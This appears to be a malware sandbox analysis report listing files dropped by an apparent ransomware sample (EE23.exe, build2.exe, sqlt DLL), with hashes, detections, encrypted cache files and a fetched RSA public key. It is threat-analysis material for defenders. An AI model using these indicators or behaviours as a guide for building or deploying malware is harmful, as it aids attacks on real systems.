                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):388
                                                                                                                                                                                                                                                              Entropy (8bit):7.335518144122625
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:fzobJdEKgMd4ODnIUeOlYnBFihjUnyQscii9a:fzodTgvUeOKzpnDsbD
                                                                                                                                                                                                                                                              MD5:D6A8A75B91E047733AC85134C8CECB77
                                                                                                                                                                                                                                                              SHA1:0C3ECA40BFA2F0AE3BEC9EED36A8AE5AAC325E26
                                                                                                                                                                                                                                                              SHA-256:84013B83BB6FBFCA19091DB2112214105156F580EFA7F0714A4D10C9399AF8E8
                                                                                                                                                                                                                                                              SHA-512:19AE9308C0E340635047ECCFA515BD9BFE7312A1E920737B97B3093E0AD253482728A785762490A1B6C90E431A76F1D78BE420FCB4A61A4C353A8172BBF293C5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:08../....i.&.c`M..n.a|]....k.3...m_.+....xLG......K....=.w.[....XB........\7@..u.....8..7.w.]..[R..}..&.pn..n4..0.l.o.oR....Rj.H...6\B..j.d.........^.&.].$K...z|......:.^.!>....av.]....m/..nn..^.`:...!V&.YH!....u...%.`4.q)d..`......yO."......$T..O.......Iu.U|f.x.?.....u.i.1...N.e. .h...6..'.z.?.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):460
                                                                                                                                                                                                                                                              Entropy (8bit):7.474891228637977
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Gn0P8PiO8C+fsbtFdtO3IBdlMZ+X/XQx1Y2Qscii9a:Gm86OaEbt3tAKlUOIW3sbD
                                                                                                                                                                                                                                                              MD5:03778062F9B505343BE79BD71794BC73
                                                                                                                                                                                                                                                              SHA1:8BF136EBE70BAB48DAC21B1292CDBF4EBC09D7D0
                                                                                                                                                                                                                                                              SHA-256:F4A9BCF6F5FD223A26282F9A4C715ADBBAD6B05B82D8E9AD923914D4F36A7376
                                                                                                                                                                                                                                                              SHA-512:7234FA237C123F15FEC065DA1905951E4563C588A01D9ED4BEC459CE8821DACAD57514A5ACA7F4F0B2D469D3E9D570D025E72CBE240C2ED83284A78F42E895D1
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:.h.6....)8.m^..rP.\...N.[.B#...G....`^.@.C....H?.....d.H.B>.A.v.7..3..y... .T..u.ue..47&..g.f9J.....z..H.p..r..6.Ft. ..;q.-.Q.\.....si5 J...O.d..v._..R.;..;d9.i.(................EkS?#..`6...#....Lk.]..io...%.<..IGcJ.....a\.7....f.HM..../,.:..V.Y..z......A.....&.)'.H@?2..........v......p.C.zo..A......D*aG../a.s7.r.[..rd<.?qt.)$-..V.}.N...b:.!m.#.5...'i.5$.i.z|..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):460
                                                                                                                                                                                                                                                              Entropy (8bit):7.474891228637977
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Gn0P8PiO8C+fsbtFdtO3IBdlMZ+X/XQx1Y2Qscii9a:Gm86OaEbt3tAKlUOIW3sbD
                                                                                                                                                                                                                                                              MD5:03778062F9B505343BE79BD71794BC73
                                                                                                                                                                                                                                                              SHA1:8BF136EBE70BAB48DAC21B1292CDBF4EBC09D7D0
                                                                                                                                                                                                                                                              SHA-256:F4A9BCF6F5FD223A26282F9A4C715ADBBAD6B05B82D8E9AD923914D4F36A7376
                                                                                                                                                                                                                                                              SHA-512:7234FA237C123F15FEC065DA1905951E4563C588A01D9ED4BEC459CE8821DACAD57514A5ACA7F4F0B2D469D3E9D570D025E72CBE240C2ED83284A78F42E895D1
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:.h.6....)8.m^..rP.\...N.[.B#...G....`^.@.C....H?.....d.H.B>.A.v.7..3..y... .T..u.ue..47&..g.f9J.....z..H.p..r..6.Ft. ..;q.-.Q.\.....si5 J...O.d..v._..R.;..;d9.i.(................EkS?#..`6...#....Lk.]..io...%.<..IGcJ.....a\.7....f.HM..../,.:..V.Y..z......A.....&.)'.H@?2..........v......p.C.zo..A......D*aG../a.s7.r.[..rd<.?qt.)$-..V.}.N...b:.!m.#.5...'i.5$.i.z|..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):715776
                                                                                                                                                                                                                                                              Entropy (8bit):7.855045809490828
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12288:D29fyjQ/D4x+uzfplovThDvBw/GFRWDcqrXuMNHaJVU5:4yj4ZuzfplEJRIxrNYVU5
                                                                                                                                                                                                                                                              MD5:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              SHA1:8415A9AB51551583F3ACE6916816C4474A2FFB9B
                                                                                                                                                                                                                                                              SHA-256:324A8068A203D94F77EB773E1491CA27FD52B5A2B5B220F50D3A9B86F9D69965
                                                                                                                                                                                                                                                              SHA-512:9FB2D5C030BEDCB71132DB3C019FDF7131826E48CB4C64D779BD2E853AB110D8FD384E3ED07946EE8BD055C880E17510488B6EDC68421A99A76BFD57872694D4
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................F.....s.....G.....~..........B.....w.....p....Rich...................PE..L...E..c.................h...4{...................@..................................u......................................$...<.......0...................................................X...........@............................................text...rg.......h.................. ..`.rdata...1.......2...l..............@..@.data.....z.........................@....cem....|....P......................@....tls.........`......................@....yonisu......p......................@..@.falelu.............................@....rsrc...0...........................@..@........................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3EE1.exe.log

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\3EE1.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1116
                                                                                                                                                                                                                                                              Entropy (8bit):5.354893994599916
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:MLyfE4KhBE4K5E4KXAE4KzecKDE4KhKiKhIE4KoE4Tye:MOfHKhBHK5HKXAHKzecYHKh3oIHKoHx
                                                                                                                                                                                                                                                              MD5:8BA344DA70FB6C907D73BAC07919C29D
                                                                                                                                                                                                                                                              SHA1:4BA5269CE3DAF710F4CBD1F41EB14455E9194846
                                                                                                                                                                                                                                                              SHA-256:B89A4E528C38DEA4B251941E078760A750DB2C730A78062B063D9182536BC12E
                                                                                                                                                                                                                                                              SHA-512:BF47B36F21E8E4C81D59E4936275F19AB6ADEE23AB1E81252A90738D56ACA418758C5F01BE80D54ECDB8AE3DD56620AF58A13843CB2D8859F70FA4A932CF4EF0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Wind

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BA7B.exe.log

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\BA7B.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1519
                                                                                                                                                                                                                                                              Entropy (8bit):5.3356482400328105
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:ML9Xyr4wE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84qpsXE4qT:MpicwHK5HKH1qHiYHKh3oPtHo6hAHKzC
                                                                                                                                                                                                                                                              MD5:0FB2B012ED2BEF9A751A066835378F2C
                                                                                                                                                                                                                                                              SHA1:D0B9BEFF765EA308A4BA287F9E25C6992A9ABE48
                                                                                                                                                                                                                                                              SHA-256:914AA9E5125B15F95E2A6FC385D342092DEADA26F45C90BE94D0CE8556462935
                                                                                                                                                                                                                                                              SHA-512:8823C9BE308632BF36D4D37935428D57747C889FB3023958D5E088C9BB0E79AB1355A2F6D74FEF162AE3F25A6B96BBD1A3E0F55B70F2C0ECAD92032FEB1FC1D9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"netstandard, Version=2.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e08

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\E5F3.exe.log

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\E5F3.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                                                                              Size (bytes):2545
                                                                                                                                                                                                                                                              Entropy (8bit):5.330114603578639
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:48:MIHK5HKlYHKh3oOfHKdHKJHKhBHK5AHKzetTHmtHo6nmHKtXoDHt1qHxLHqHDJHH:Pq5qlYqh3oSqdqJqLq2qzIGtI6mqcNwm
                                                                                                                                                                                                                                                              MD5:D181B7B23642B427047B9458C5F6EEDB
                                                                                                                                                                                                                                                              SHA1:0018070A0097A20F65A969F47AF0B1C7C4493D76
                                                                                                                                                                                                                                                              SHA-256:EC1DA48417CF2DDD499BD2F91310BE53D8AA88EA47853C48E0395635F8483996
                                                                                                                                                                                                                                                              SHA-512:E3A5E1ADF068D63DFD114A11C1750298A428FFF01A17442F1676AD492C450A251AF9287D72CA2452E1D9342B4EA2DC04FE39507018C1BCF24C1C479BB04E3BB5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutra

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svchost.exe.log

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Roaming\svchost.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1519
                                                                                                                                                                                                                                                              Entropy (8bit):5.3356482400328105
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:ML9Xyr4wE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84qpsXE4qT:MpicwHK5HKH1qHiYHKh3oPtHo6hAHKzC
                                                                                                                                                                                                                                                              MD5:0FB2B012ED2BEF9A751A066835378F2C
                                                                                                                                                                                                                                                              SHA1:D0B9BEFF765EA308A4BA287F9E25C6992A9ABE48
                                                                                                                                                                                                                                                              SHA-256:914AA9E5125B15F95E2A6FC385D342092DEADA26F45C90BE94D0CE8556462935
                                                                                                                                                                                                                                                              SHA-512:8823C9BE308632BF36D4D37935428D57747C889FB3023958D5E088C9BB0E79AB1355A2F6D74FEF162AE3F25A6B96BBD1A3E0F55B70F2C0ECAD92032FEB1FC1D9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"netstandard, Version=2.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e08

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                                                                              Size (bytes):1022
                                                                                                                                                                                                                                                              Entropy (8bit):5.252542495586483
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:YqHZ6T06Mhm50mMb0O0bihm5TmM6CUXyhm5+dmMbxdB6hm5CUmMz0Jahm5gmMbNS:YqHZ6T06McbMb0O0bicMMDUXycRMbxdy
                                                                                                                                                                                                                                                              MD5:2F99BED9FF8C41AFEE96B028ED8B86A2
                                                                                                                                                                                                                                                              SHA1:BF4E91361EE28C5506E812F2BF8C3495676097B0
                                                                                                                                                                                                                                                              SHA-256:F4C2EB86983ED94B60DD5041C9DDCCC2E06C9F4DD810A8D90FBCCAE82620741C
                                                                                                                                                                                                                                                              SHA-512:834B9B236AF231632E106CAE3E2F22EF09B2445E64536C7FF0F2F61BC240AFA84BB66093135B317A227B3E2D9BBCAA1EDFE65F87483CB3C12F67C3E80E5A436C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":2357654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":2347654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":2337654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2327654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":2317654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2307654912,"LastSwitchedHighPart":31061703,

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\get[1].htm

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):562
                                                                                                                                                                                                                                                              Entropy (8bit):5.997111511329107
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:YGJ68u47eaPc/p8j/i/+6STG/n4Ay47oj3UJbwhpJVj55SQ9:YgJJ79U8j/p6SC/nsjU2/P9B9
                                                                                                                                                                                                                                                              MD5:E4ABA3F5C157044C804921AF0464C768
                                                                                                                                                                                                                                                              SHA1:50B0356D3FDCC4905E740DCE460FA1BE7FB11F71
                                                                                                                                                                                                                                                              SHA-256:7130C8AF42751E9D6BC59E29511F32DD47EDD302DB3FD10FDFFD4982BA8CE808
                                                                                                                                                                                                                                                              SHA-512:B13298CAABC46948B1C0833B08C509B45E174AE12DB9BF78AE379ABCC4618AC5D54C5DD12F6C38ED4ABAA5FA2F9C90EFB2316C15C5D21998410A50DD2004325C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:{"public_key":"-----BEGIN&#160;PUBLIC&#160;KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END&#160;PUBLIC&#160;KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dll

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):2459136
                                                                                                                                                                                                                                                              Entropy (8bit):6.052474106868353
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
                                                                                                                                                                                                                                                              MD5:90E744829865D57082A7F452EDC90DE5
                                                                                                                                                                                                                                                              SHA1:833B178775F39675FA4E55EAB1032353514E1052
                                                                                                                                                                                                                                                              SHA-256:036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
                                                                                                                                                                                                                                                              SHA-512:0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                              Joe Sandbox View:
                                                                                                                                                                                                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: n634pS0ANZ.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: L2OyId5r9o.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: v5jESh4zVJ.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: 742BWJCCj5.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: vqX34PLtA3.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: lENGBij84L.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: 7zofNQYPqw.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: 56XXzhtE4l.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: rNUBzMB8Cm.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):340480
                                                                                                                                                                                                                                                              Entropy (8bit):6.5595563332673175
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3072:PDmBL+up2mGJi9SU8XI3G9OIlaOwXMXze+Jpm9Bn0HNvS2iX3Ly9w5qiIiIf:rILgmiBUmUI4XcXK+mLn0HhrikiIi
                                                                                                                                                                                                                                                              MD5:A0CC1241AA4803DC23FF778AF73E3768
                                                                                                                                                                                                                                                              SHA1:75D07C8F1784E8E64E7520C2666BC63C2A477FFA
                                                                                                                                                                                                                                                              SHA-256:C0B12BBDCB41F6941D4356309FD8A43F61CBFD18EEE044FF1771CBDBBA248466
                                                                                                                                                                                                                                                              SHA-512:3CCB46ECA07827F5C86B31DA5F7AB1B4A4B80F0CF3C1F8245C9EA57CF7C2244BC5F867A09696CE1C80CCE38C631C7F6A13DCA537B8E4B297735324F52CABB755
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 73%
                                                                                                                                                                                                                                                              Joe Sandbox View:
                                                                                                                                                                                                                                                              • Filename: n634pS0ANZ.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: L2OyId5r9o.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: 742BWJCCj5.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: vqX34PLtA3.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: lENGBij84L.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              • Filename: 7zofNQYPqw.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...zJ.d.....................L.......%............@..........................0.............................................lC..d.......v...........................................................(<..@............................................text............................... ..`.rdata...\.......^..................@..@.data...d%...P...R...6..............@....rsrc...v...........................@..@................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\get[1].htm

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):562
                                                                                                                                                                                                                                                              Entropy (8bit):5.997111511329107
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:YGJ68u47eaPc/p8j/i/+6STG/n4Ay47oj3UJbwhpJVj55SQ9:YgJJ79U8j/p6SC/nsjU2/P9B9
                                                                                                                                                                                                                                                              MD5:E4ABA3F5C157044C804921AF0464C768
                                                                                                                                                                                                                                                              SHA1:50B0356D3FDCC4905E740DCE460FA1BE7FB11F71
                                                                                                                                                                                                                                                              SHA-256:7130C8AF42751E9D6BC59E29511F32DD47EDD302DB3FD10FDFFD4982BA8CE808
